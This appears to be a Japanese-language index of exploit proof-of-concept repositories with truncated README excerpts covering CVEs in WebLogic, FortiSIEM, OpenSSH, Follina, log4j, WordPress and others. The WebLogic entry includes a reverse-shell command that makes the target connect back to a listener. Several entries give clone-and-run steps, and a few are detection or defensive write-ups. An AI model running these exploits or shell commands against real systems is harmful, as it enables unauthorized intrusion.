CVE-2025-47812

CVE-2025-47812 – Wing FTP Server における Lua インジェクションによる RCE 作者: 0xgh057r3c0n 🧠 説明 このエクスプロイトは、Wing FTP Server のログインハンドラ loginok.html における Lua インジェクションの脆弱性を利用して、任意の OS コマンドを実行したり、リバースシェルを獲得したりします。username パラメータを通じて、サニタイズされていない Lua コードの実行を悪用します。 📦 必要条件 Python 3.6 以上 pip3 Python パッケージ...

CVE-2023-41425

CVE-2023-41425 説明 Wonder CMS バージョン3.2.0から3.4.2におけるクロスサイトスクリプティングの脆弱性により、リモート攻撃者がinstallModuleコンポーネントにアップロードされた細工されたスクリプトを介して任意のコードを実行できる可能性があります。 これはprodigiousMindによるオリジナルのエクスプロイトの修正版であり、外部インターネット接続に依存せずにエクスプロイト全体をローカルで提供できるように拡張されています。 もしあなたが途方に暮れていて、自転車に問題を見つけた場合に便利です... 注:...

CVE-2019-15029

CVE-2019-15029 FusionPBX v4.4.8 のリモートコード実行 CVE-2019-15029 に対する公式エクスプロイトコード Metasploit モジュール この問題を悪用する簡単な Metasploit モジュール fusionpbxservices.rb を作成しました。ダウンロードして Metasploit モジュールディレクトリにコピーするだけです。...

CVE-2024-6387

CVE-2024-6387 regreSSHion regreSSHionエクスプロイトの概念実証Pythonスクリプト。バージョン0.2.1 build POC インストール git clone https://github.com/l-urk/CVE-2024-6387.git cd CVE-2024-6387 pip3 install -r requirements.txt python3 regreSSHion.py -h 使用方法 🔒 CVE-2024-6387 regreSSHion remote code execution vulnerability exploit...

cve-2020-5902-ioc-bigip-checker

CVE-2020-5902 IoC検出ツール このスクリプトは、root権限を持つユーザーがF5 BIG-IP上でAdvanced Shell（bash）でローカルに実行することを目的としています。他の環境で実行することを意図していません。注意：アプライアンスモードではAdvanced Shellへのアクセスが許可されていないため、このツールはそのようなシステムでは実行できません。 このスクリプトは、作成時にF5...

vulnerability-exploitation

脆弱性悪用 ローカルルートの脆弱性 - CVE-2019-13272 / セキュリティバイパスの脆弱性 – CVE-2019-14287/Google Android - 'Stagefright' リモートコード実行 - CVE-2015-1538...

TryHack3M-Bricks-Heist

ターゲット:10.201.6.98 列挙 nmap -A 10.201.6.98 「brick by brick」という名前のWordPressがあり、このルームの名前がbrickであることから、ここに脆弱性がある可能性が高いです。 ではWordPressを列挙してみましょう。 wpscan --url https://bricks.thm --disable-tls-checks tls-checksを有効にすると動作しません。 ここにもbrickへの別の参照があります。このテーマに脆弱性があるかどうか見てみましょう。 bricks...

CVE-2023-38408

OpenSSH の脆弱性 - CVE-2023-38408 📚 はじめに OpenSSH 9.3p2 より前のバージョン に脆弱性が発見されました。OpenSSH の ssh-agent における PKCS11 機能は、検索パスが十分に信頼できないため、エージェントが攻撃者制御のシステムに転送されるとリモートコード実行につながります /usr/lib 内のコードは ssh-agent にロードしても必ずしも安全ではありません。この欠陥により、サーバー上の転送されたエージェントソケットを制御し、クライアントホストのファイルシステムに書き込む権限を持つ攻撃者は、ssh-agent...

CVE-2025-59287-PoC

CVE-2025-59287 / CVE-2023-35317 PoC CVE-2025-59287 の詳細: WSUS における SoapFormatter RCE: https://shellcode.blog/wsus-cve-2025-59287-investigation/ 本ソフトウェアは、学術研究および効果的な防御技術の開発のみを目的として作成されており、明示的に許可された場合を除き、システムへの攻撃に使用することを意図していません。プロジェクトメンテナーは、ソフトウェアの誤用について一切の責任を負いません。責任を持って使用してください。 使用方法 必須フラグ:...

CVE-2019-7214

CVE-2019-7214 SmarterMail システムの .NET デシリアライゼーションにおけるリモートコード実行。 コレクション このリポジトリには、このエクスプロイトの Proof of Concept コレクションが含まれています。一部は変更なしでそのまま動作するものもあれば、変更が必要なものもあります。...

telerik-scanner-CVE-2019-18935

Telerik CVE-2019-18935 脆弱性スキャナー Telerik UI for ASP.NET AJAX のリモートコード実行脆弱性 CVE-2019-18935 を検出するために設計された Python ベースのセキュリティスキャナー。 🚨 脆弱性の詳細 CVE : CVE-2019-18935 リスクレベル : HIGH CWE : CWE-913 CVSS : 9.8 Critical 説明 Telerik UI for ASP.NET AJAX バージョン 2019.3.1023 以前には、RadAsyncUpload 関数に .NET...

CVE-2025-64155

CVE-2025-64155: Fortinet FortiSIEM の引数インジェクションによるリモートコード実行 Fortinet FortiSIEM 向けの概念実証エクスプロイト。引数インジェクションを悪用してファイルを書き込み、root 権限でのコード実行を実現します。 ブログ記事 詳細な分析はこちら: Horizon3.ai - CVE-2025-64155: Fortinet FortiSIEM をリモートでルート化するまでの3年間 注意 この問題を悪用してアプリケーションファイルを上書きすると、システムの不安定化を招く可能性が高いです。慎重に使用してください。...

cve-2021-1647

CVE-2021-1647 Microsoft Defender リモートコード実行の脆弱性 情報 パスワード:infected...

CVE-2022-30190

CVE-2022-30190 - Microsoft サポート診断ツール 概要 このスクリプトは、リモートでコードを実行する Microsoft Office 文書を作成しようとします。 セットアップ git clone https://github.com/joshuavanderpoll/CVE-2022-30190.git cd CVE-2022-30190 python3 CVE-2022-30190.py --help オプション usage: CVE-2022-30190.py -h --html HTML --cmd CMD --downexec --downloadurl...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 Python用EXP（ワンステップで完了） 使用方法: Python3 exploit.py -t -c ヒント: エコーなし 例： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' すると、シェルを取得できます。...

WordPress_4.9.8_RCE_POC

概要 WordPress RCE（author 権限）の簡単なPoCです。CVE-2019-8942 および CVE-2019-8943 を参照してください。 影響を受けるバージョン WordPress " 3. WPScan で現在のテーマを検出する wpscan -u -et。例: wordpress 4.9.8 のデフォルトでは twentyseventeen 4. ペイロード画像ファイル poc.jpg をアップロードする author アカウントでログインします; ダッシュボードの Media - Add New をクリックして poc.jpg ファイルをアップロードします;...

CVE-2022-30190

CVE-2022-30190 このリポジトリは、Defender の観点から Follina MSDT について解説します。 Index About Timeline Understanding the Exploit List of IOCs Detection Strategy Testing and Researching Mitigation Plans References About このバグは、Shadow Chaser Group の crazyman によって報告された、Microsoft Windows サポート診断ツール MSDT...

fastjson-1.2.58-rce

fastjson-1.2.58-rce 必要なもの: fastjson autoType is enabled h2 database and some jar . ├── fastjson-1.2.58.jar ├── h2-1.4.199.jar ├── jackson-annotations-2.9.8.jar ├── jackson-core-2.9.8.jar ├── jackson-databind-2.9.8.jar └── logback-core-1.3.0-alpha4.jar fastjson-1.2.58.jar のダウンロード...

log4j-CVE-2021-44228-test

log4j-CVE-2021-44228-test log4j（CVE-2021-44228）脆弱性を実行する方法を示すデモプロジェクト すぐにセットアップできるようにSpring Bootを使用しました。すべてハードコーディングされている点はご容赦ください。これは単なるPOCです。 使用方法 Java 8がインストールされていること。Mavenでビルド mvn clean package -DskipTests。以下のコマンドを別々のシェルウィンドウで実行します： java -jar vulnerable-server/target/vulnerable-server.jar java...

CVE-2021-43936

CVE-2021-43936 CVE-2021-43936 は、WebHMI Firmware におけるリモートコード実行 RCE につながる重大な脆弱性 CVSS3 10.0 です。 この脆弱性はバージョン 4.0 および最新版に影響します。 4.0.7475 でのみテスト済みです。このスクリプトは以下の手順で脆弱性を悪用します。 1. アプリケーションにログインする 2. PHP コード実行スクリプトをアップロードする 3. リバースシェルペイロードを送信する NIC が複数接続されている場合、エクスプロイトは失敗する可能性があります。その場合は、もう一度試してください。 使用例:...